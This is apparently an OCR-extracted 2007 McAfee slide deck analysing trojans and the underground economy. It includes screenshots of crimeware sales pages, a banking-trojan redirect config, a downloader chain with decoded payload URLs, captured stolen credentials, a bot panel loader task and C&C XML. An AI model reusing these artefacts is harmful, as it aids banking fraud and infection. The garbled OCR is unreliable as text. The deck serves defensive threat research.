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So when did all this start?



History Lesson

* Term coined by Ken Thompson in 1983

» Used to gain privileged access to computers since the 80s
— Keyloggers
— Fake login screens

e ...and to maintain access

— Rootkits
— Backdoors

http://www.acm.org/awards/article/a1983-thompson.pdf
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The Hype is started

e Defcon 7.0;: BO2K is released
 Massive Media attention

e The Hype is started
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Hype around Trojans

« 2001: Magic Lantern
— Supposedly developed by the FBI to replace (hardware) keyloggers

« 2007: Der Bundestrojaner

— Proposed by German authorities to enable ,,online searches” on suspects
computers

— >600.000 Google hits
— April's Fool Joke around it by the CCC scares thousands
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And The Reality?
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Samples sent to McAfee Research
2005
Trojans
PUPs 23%
3% Win 32
Bots < 1%
12% —Macro
7%
Script
9% Legacy
39%
2006 .
Trojans
31%
l PUPS Wt
2004 2005 2006 3% ~
—Macro
Bots 5%
—m— | —— [—o—| | A | K | +— 22%
Legacy | Trojans| Bots | Script || Macro|| Win 32| PUPs Legacy
i (0)
Legacy is defined as: DOS, boot-sector, and Win3.1 viruses ! S;&)pt el
Source: McAfee’s statistics |
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1997 - 2006

Fastest Growing Trojan Types
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By The End of 2006

1997 End of 2006
Vulnerabilities 400 21,400
Password Stealers 400 13,600
Potentially Unwanted 1 23000
Programs
Viruses and Trojans 17,000 222,000
Spam 5% 80+%
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2007: Q1 Password Stealing Trojan Targets

PWS Variants Classified
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2007: Q1 Trends

1,833 vulnerabillities in the National Vulnerability DB
—(33% increase over Q1-06)

« 21,579 classified viruses and trojans
—(34% increase over Q1-06)

» 1,379 classified PUPs
—(an 8% decrease over Q1-06)

» 835% off all e-mail considered Spam

» Password Stealing Trojans targeting banks and game accounts
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Installing Adware on compromised machines

« Common practise to make money with a botnet

* Pay-per-install programs offered by various companies
— Price depends on region where the victim is located

— Ranges from $0.05 to $0.50

 Financial Motivation caused major changes why people
write Malware and what kind of Malware iIs written
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Advertised Prices for various items

» United States-based credit card with card verification value

» United Kingdom-based credit card with card verification value
e List of 29,000 emails

e Online banking account with a $9,900 balance

» Yahoo Mail cookie exploit—advertised to facilitate full access
when successful

 Valid Yahoo and Hotmail email cookies

 Compromised computer

* Phishing Web site hosting—yper site

 Verified PayPal account with balance (balance varies)

» Unverified PayPal account with balance (balance varies)
» Skype account

» World of Warcraft account—one month duration

15

$1-$6
$2-%$12
$5
$300

$3

$3
$6-%$20
$3-5
$50-$500
$10-$50
$12

$10

Source:Symantec Internet Security Threat Report
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a RAT Systems - Microsoft Internet Explorer =1=] x|
File | Edit Wiew Favorites = Help

[#] Favorites

S ]f /z‘:#w*‘*ﬂl s
Bl aboutus [l Products [E Techrologies Bl Contact Us [B] Links A

\\\ Not ordinary spywara.. F5 S

Basic Spyware Package

PoooucTs ERTECORY
Sumare - Invisibility in system

- Implementstion of software FireYWalls leak

- Implementation of Polymaoarthic algorithm

- Implementation of AY Software wulnerability, A Bases Update Breaker

- Socksa Proxy Server { of Socks Panel

- FTP Server

- kevlogoer

- Cliphoard Logger

- Implementation of WehMoney Keeper leak: WehMoney Grabber

- Implementation of E-gold security system leak

- Protected Storane Grahber

- Far FTR, TotalCammander FTF, The Bat Passwords Grahber

- Bends logsifiles to hitp server

-'Wah-hased Remaote Contral | 1

- Implementation of IE leak: Form Grabber

- Implementation of LK banks security system leak: Memarable Info Grabber {atthis mnment released implementation of 6 maost
popular UK banks security systerm leak, no screenshots, anly texd) (L A 3

Online Saervices

Buy it now for
SE50 USD

Contains commands For working with the selected items,

'.':__.Ir||:u:|... iMicra... | Bl LinkF 2 T L



Price :

Compiling under your wallets © $ 5
Bilder : & 10
Gek : £ 30

The cost of cyber crime tools

YirusTotal on WMT

AhnLab-%3 2007.4.7.0 04.06.2007 no virus found
Antivir 7.3.1.48 04.07.2007 no virus found
Authentium 4.93.8 04.06.2007 no virus found
Awvast 4.7,.936.0 04.06.2007 no virus found

AWG 7.5.0.447 04.07.2007 no virus found

. < yotkit functionalities: US$600 BitDefender 7.2 04.07.2007 no wirus found
CAT-QuickHeal 9.00 04.06.2007 no virus found
Clamay dewel-20070312 04.07.2007 no virus found
e F counts. You load the list of FTP accounts and it automatically checks if the user ~ Dr4eb .23 04072007 na virus found
a wrating the valid accounts from the invalid ones: US$15. B e e e
Ewido 4.0 04.07.2007 no virus found
L Fileadwvisor 1 04.07.2007 no wvirus found
« C 500 + US$25 for update. Fortinet 2,85.0.0 04,07, 2007 suspicious
° F-Prot 4.3.1.45 04.04.2007 no wirus found
US §.70.13030.0 04.07.2007 no virus found
« F date: US$5 Ikarus T3.1.1.3 04.07.2007 na virus found
Kaspersky 4.0.2.24 04.07.2007 no virus found
. Mcafee 5003 04.06,2007 no wvirus found
° K iniques US$40 Microsoft 1.2405 04.07.2007 no wirus found
R NOD32vw2 2172 04.07.2007 no wvirus found
: found
. V 3 US$E‘ & Bundle sploitov MPack (probiv adalte at 10%, ifreymah from 12 to 35) juomudn
. Update bundles eksploitov MPack lound
Current version 0.80
Js found
3 The new version added : und
¢V 5 Creatc - locking repeat visits using advanced system razlichayuschey run for natom
L A simplified compared to previous versions of the installation
- counting efficiency loadera, allowing time to recognize spalivshiysya soft and not lose this potential boot
The update includes the following ekspy |
: - modified MS06-014 with maksimizirovannoy efficiency
e N Trojans| - wsae-no6 under Firafos 1.5.% and Opera 7.4
N - unnamed Oday for WIin2000 (ms06-044)

= %ML overflow under XP \ 2k3 delayed by operation
= WebViewFolderlcon overflow

: = WinZip Activex overflow
= ANI new overflow

Price as before $ 700 for ligament and § 300 for bilder loadera (samorazmnozhayuschiysya loader 3k § podnobnosti onling [Only registered users can see links.
Registration! ).

Prabiv at yusa bize reaches 45-50% (1) , The supplier traffa connect with the acquisition.
At adalte and ifreyme increased by ~ 2-5%

By purchasing a link with us, you would get not only an excellent product, but also first-rate support by the end of last year.

Also recall that existing users pounding on the update

phase.
Checking on the older version antichat'e

The purchase ico Sl updating i SR
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J Edit  View Favorites Tools Help ﬁ 18
J dmBack ~ = - @ (2] | @Search (3] Favorites @Medla o4 | By S
J Address |. Ter re WS G HSTU GResk g j e H Google + » () Einstellungs:

B htmicode.dat - Wui‘dPaﬂ =& x|

s Bl urls.dat - WordPad ' 10l =l

[ File Edit Wew Insert Format Help

D|z{@| S al 4es-| B |

real=|https:// *ibank.barclays. */ *LoginMenb&r ._Eioa
*ihank.barclays.co.uk/LoginMenbertdo®;
http://somwe other link.com/realurl/with regular expressio
I i
fake=|http://uvw.google. com/ | .
Y times=1z)
] o 1[?] Tab=1%|
J_ real=|
'l http://wvv.bankofemerica.con)/:
s *hankofamerica. com/
i1
|
1 fake:l\rﬂ—#m . R A I = | f oo R |
E' tiw’ this is massive of real links to redirect to fakg\‘l
; symbol ; is for parsing. do not add ; at the
. end of last real link lang=de&id=2924
4
i1 &
. For Hel MacCHe peanbHblX NMHKOB Ha CbE'HI{. v
waAr Ce CHMBORN ; He06x0ﬂ,l‘l|‘"'l ecrnu y pac bonblue
Var ce yemM OAMH Deaﬂthlﬁ NHWHEK. B KOHLU 2
Tares nocneaHero NMHKAa He Haao CTaBWuTh |
var o
celld. REAL to FAKE REDIRECT CANCELLED! E
ceLh: : site shown 2 times, and configurator says to show 2 L[
rE111 L inneT rlass="ra nows gaing to real site!
For Help, press F1
it,'Startl @ (B | |3 Deskiop | (3 systemizz | [ WINDOWS | B C:\wInDa. . | Y Registry Ed...l =] windows T... | (O a3iPM
@Mcnfee Wi, .. | @Mcnfee L | """ urls.dat - ... |Z| htmlcode.d.. | @Bank of Am... | ﬁSettings I :Em Friday

HERCERIE) ¢ 20
|@ Done ’_ ’_ ’_ |E-G_J. My Camputer
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Obfusicating Trojans to hide from AV
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Using Runtime Packers to circumvent AV

Common Packers used by Malware

I
U

24/05/2007 -

31/05/2007 * »

07/06/2007 7

14/06/2007 ‘

21/06/2007

J!

28/06/2007

—e— MEW

—a— RPCrypt
EXE-Appended
BrowserHelperObj

—x—FSG

—e— Themida

—+— TeLock

—=— ASpack

———NSpack
Upack?2
PE-Compact2
ASProtect.b

—>¢— New Installer

—— UPX

—0— New Packer
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Mass Spam of Email with Attachment
Example Downloader-AAP

@& aktenzeichen [08133542] e o =]

|J File Edit Wiew Tools Message Help

From: kriminaldirektar
Date: Mitkwioch, 9, Mai 2007 03:13
To: spammed-addresses

Subject:  Akkenzeichen [05133542]
Attach: @lkan?nm?.zip (7,88 KE) [Z] ATTOO044. Ext (0 bytes)

|»

mehr geehrter Internetrutzer,

i Eahmen unserer stindigen automatisierten Uherprifing von sogenannten
Tauschbérsen im Internet, wurde folgende IP-Adresse auf unserem System
ermittelt.

IP: 81.112.150.144

Der Inhalt Thres Eechners wurde als Beweistnittel muttels den neven
Bundestrojaner sichergestellt.

Esz ward umngehend Anzeige gegen Sie erstatten, da sich flegale Software, Filme
undfoder Musikcdateien auf Thren System befinden. Durch die Mutzung
sogenannter Tauschbérsen, stellen Sie diese auch anderen Mutzern zu
WVerfiigung und verstollen sotnit gegen 66 2498 StGE.

Das vollstindige Protokoll Threr Online-Durchsuchung finden Sie im
Anhang dieser Email.

MAXIMUM
ACCESS

Die Strafanzeige und die MMaghichiceit mur Stellungnahme wird Thnen in den
nachsten Tagen schrfthch zugestellt.
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=

User opens Attachment (.zip), double clicks executable
2. Downloader downloads Textfile

Txng

Bl B B2 22222822258
Jvwrg——uuu, pgloevgima], samo—-jvon-66, gzg
Jvwrg——uuu, pglevgima], samo—-jvon-00, g=g

3. Textfile gets decoded

BBBBBBPBOE - [z 1= 1%0BB0BBBAEAGA
3 BEEERPRPRPIPRPIBBBBE
H0E0E0aShttp: ~

wuy.renatekoch.c

om~html 44 . exesld
http:- 7uuu._renat
3 ekoch.comshtml-2
AEBRABEAE YA - 2_exe

4. Binaries are downloaded from decoded URL. This is a
dropper (Spy-Agent.ba) for the actual Trojan

5. Spy-Agent.ba drops IPV6MOML.DLL to %windir%\System32

6. Spy-Agent.ba.dll gets registered as Browser Helper Object
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Stolen Data sent to Attacker

ComplD: [256-bit hexadecimal value]
Ver 37977

host: [wictim-computer-name]

if1 : 192.168.1.137

Wied har 14 14:30:45 2007
LIRL: https:ffhaanend, ushank. comiinternetBanking/LoginRouter

RECL requestCmdld=FrivateLogon&USERID=&FSWD=_Eregcrda=fake-usbank-
user&reqordb=myusbankpassword&doubleclick=2

Wied har 14 14:31:39 2007

LIRL: https:ffsignin.ebay. combwsieBayISARP] 47
signinéwco_partnerld=2&pllserld=&siteid=0&pageType=E&pal=~&i1=8&bshowgif=
&llsingSS5L=&r=&pp=&pal=Eerrmsg=&runame=&ruparams=&ruproduct=&sid=
&favaritenav=E&confirm=&ebxPageType=&existingEmail= &isCheckout=&migratet/isitar=

Action: https:/fscgi.ebay. comfwsieBay|SAPL dlIYRegisterEnterinfofsiteid=0&co_partnerd=2&lsingS51=1
hlethod: post

Action: https:fsignin.ebay. combwsfeBay|SAPL dllYco_partnend=28&siteid=0&sing=50L=1
hlethod: post

userditext). fake-eBay-userlD

pass(password). myebaypassword

Buttans pressed: Sign In Securely =,

REC: MiclZAPICommand=SigninWelcomeésiteid=08co_partnerld=2&Using35L=1 &ru=Epp=
&pal=&pal=apad=&il=-1&pageType=-1&nmData=A01 %30 gaAlANAYBAAAAAAAALD euuXBE%IBMO1 23041 %
ABTCO1 %30welscfTKYEBAAAC DD ARAA LALLM NIDY gAY EER 3 %30T D&userid=fake-eBay-

NG AALIA userlDé&pass=myebaypassword

ACCESS

McAfee

Avert Labs




25

Another Example: Spam-Mespam

* Arrives as Email, IM-Messages (AOL, Yahoo, ICQ),
Webforum — link to a website in the mall

» User follows link, gets infected

« Spreads from infected machines by injecting the link and
text in emails, IM Communication from the user

— Messages arrive from a trusted, known person
— High social engineering factor

McAfee
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[Global] [Downloaded files] [Time statistics] 26

Zupacha@ Mini stats
Top 20 Counries  (zee all Top 10 new counries today  Top 10 Countries order by bot”s reports
Protocol Sent Msg
EB. Spam-bots mail 713160 50% Country  Rating
B Mirabiis 102 107512 12% B Germany 9294 95%
B E-Mail E7SE1 8% ] Ru.ssia 152 29 oty Rating
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TR fiexico &} 0% Software
r ramblsrru 4 0% Brazil g 0% Top 10 bot versions installzd: 0
(:C comcast net i} 0% 5 %
&
=2 mail.com 0 0% i
@ lcoscom o 0% Hhtsy = A o Rati
com : ing
” Turke: = 0%
£ earthinknet b 0% ﬂ G - 5 0% | (0 ;B;:IDH 9505 100%
reece 2
B care?com ] 0% . A A B —
alatnbiz :
Wik mail Sert : 6326 = =
Totally: 54
= | phpBB I
Topic reply: Sumarize
Mewy topic messages: Bot's count: 9805 Today new bots::i.ZIJ Today Bot reports:5099
m VBulletin Al Mew bot today: 168
Tapic reply: Percent Live bot's: §2% Bt reports: 626307 doa'adzﬂ Athes:13
Mewy topic messages: ¥
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<| | _vl_I
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[statigtics] [control] [help] ZUnker Parel 1,4 58 [LOG OUT] -
[Global] [Downloaded files] [Time statistics
Dovvnloaded Files (ALL) Clear  Clint Link

Land File Mame Inztalled File Size Client-side stat,

AL ebr9exe 1 53,146 Clirt Link

WL ebrdexe q S08 Clirit Lirk

AL ehrdexe 1 130 Clirt Link

ML ebrdexe B471 70144  Clint Link

EH
|@ Done ’_ l_ ’_ |@ My Comnpuker i
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Day (hours) 28
355K
181K
ikl
14,8k 170K 159
118k 125k 123k 127K
8.9k
7.3k 7.6k
5.8k 49k 8.4k 43K
18K 13K yag 479 501 807 11K
5 5 0, 5 .3 3 e
Totalhy Last year (For each morth)
& Today total: 115963
Monith: 30991 54
Last Year 3053154
Counted days 16
Tatall days 16
_Jun Jul  Aug Sep Oct MNov Dec Jan Feb Mar Apr
Month {Calculating for each day of morth)
3864k
2667k
251.7K 247 1k 241 .4k
2335l
195.8k
172.8k
142 8k
104 .0k 115.9K
847k
232425627 129500 12345678910 M M) 43 M 15 dE L 7 a9 oA
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[statistics] [control]  [help] ZUnker Panel w14 5b [LOG OUT] -
Loader [Zupacha]

Select Land [Multi Lo=d) In=ert ComplD [Single load) Meszage: Editing tash for
#5,
I.ﬁ.ll | All countries ;I | _
Count to Install Search BOT
||:| |é'-|L by EnmpIEI|

Url*s to load [Exzmple] Oon't kill loader after job by IF | | Extended
http: /S www. ehay-market. info/ebr9.exe ;I Hirt:AFer eock UEL Results per F'E'QE

you showld fo gress

‘Enfer fo nrake mew

lime separgfe. If's

;I MECEessIr .

| Add to tasks

Tasks
Land Bot's count In=talled Toinstal U= Done Action
AL 9305 E47E6 *ounlim. kbt eesnesy ebay-market infodfebr.ex, - % Delete | Edit

4
|@'] Done | | | @ My Computer v
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Detailled Analysis of a typical Trojan
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Victim Distribution Europe

E2007 Googles Grafiken @200 MASA - MutFungshedino =]
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Victim Distribution North America
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Victim Distribution APAC

E200F Google - Grafiken @2007 MASA - Mutzungskedingungen
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Bruteforce and Social Engineering

 Bruteforce
— Exploits on Websites
 Detect Browser Type and OS to serve matching exploits
— Exploits in attached multimedia files
— Exploits in attached Office Documents

 Social Engineering

— Executables embedded in Documents
- Email titled “"Proforma Invoice for ...
- .doc as attachment
« In the document "DOUBLE CLICK THE ICON ABOVE TO VIEW DETAILS’

— Fake Codec ,required’ for multimedia files
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Rootkits

* The number of rootkits on 32-bit platforms increases

e approximately 200,000 systems reported rootkit
Infestations since the beginning of 2007

« 10 percent increase over the first quarter of 2006

Source:McAfee Research, Virus Tracking Map
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Rootkits

* Not commonly used with Trojans today

 But increasing

* Detection and cleaning require 2 steps
— Detection and removal of the Rootkit
— Detection and removal of the Trojan

e Techniques used today can be handled easily
— Virtualization and BIOS-Rootkits not seen, yet

Free Tool: McAfee Rootkit Detective

http://vil.nai.com/vil/averttools.aspx
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New C&C Methods
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XML for communication to avoid detection

=%l version="1.0" encoding="utf-8" ?=
=hootscript name="CoreApp: UrikMonitor version="1 00%=
=dowenloadss
=download serice_name="CorafppsUriMaonitor=
=dll url="http: o [REMOVEDN U MIMonitor 100 zimg" service_wversion="100"
service_exported _as="Urlhonitor_Message_ Handler" deleteahle="" default="trug" 1=
=ldownload=
=ldownloadss
2semicess
=semvice senice_name="Corefpp:LUriMonitart=
sparameters=
=tn:data hytes="0"=
=parameters=
=parameter name="hprowsers"s
=hrowser name="|Explore" sname="IEXFLORE_SERYER"i=
=hrowser hame="Firefox" shame=" r=
=hrowser name="0pera" sname=" [=
=hrowser name="rS5Shell" shame=" I=
=hrowser name="retscapel” sname="" r=
=hrowser hame="Metzcape Browser" sname=" f=
=hrowser name="Mozilla" sname="" [=

=T GO

0

MAXIMUM

=inatification-command=

=post_url_ron HTTRM 1 Content-Type:

wew-Tarm-urlencoded Accept =7 Lser-Agent: Internet Explorer

ost: hitpcitaniay [removed]. comd Content-Lenogth: 582 Connection:
he-Contral: no-cache Cookie: AlteonP=ieoeee0ce00o00000d = 7ml
icading="ut-8"?= =url-notifier==user-info==user-ip=192 168 ¥ x=luser-ip=
HOOOLR0NN00RNnNa0M = U S B -0 =

aub-id=

in=a=Min-majersion=

in=1=Mwin-minversion=

- - OO R S I - re g keyE

wzillard .0 (compatible; MSIE 6.0 Windows BT 5.1; VM1 i=luseragent=
e=iexplore=rhrowser-names
on=6.00.2800,2180=/browser-version==fuser-info=

shsite==name= msn.com=mnameas=
==2fgueny-strings==fvebsite==Mebsites=

Ok Date: Tue, 12 Jun 2007 xowmo GMT Server: Apacheil 3,33
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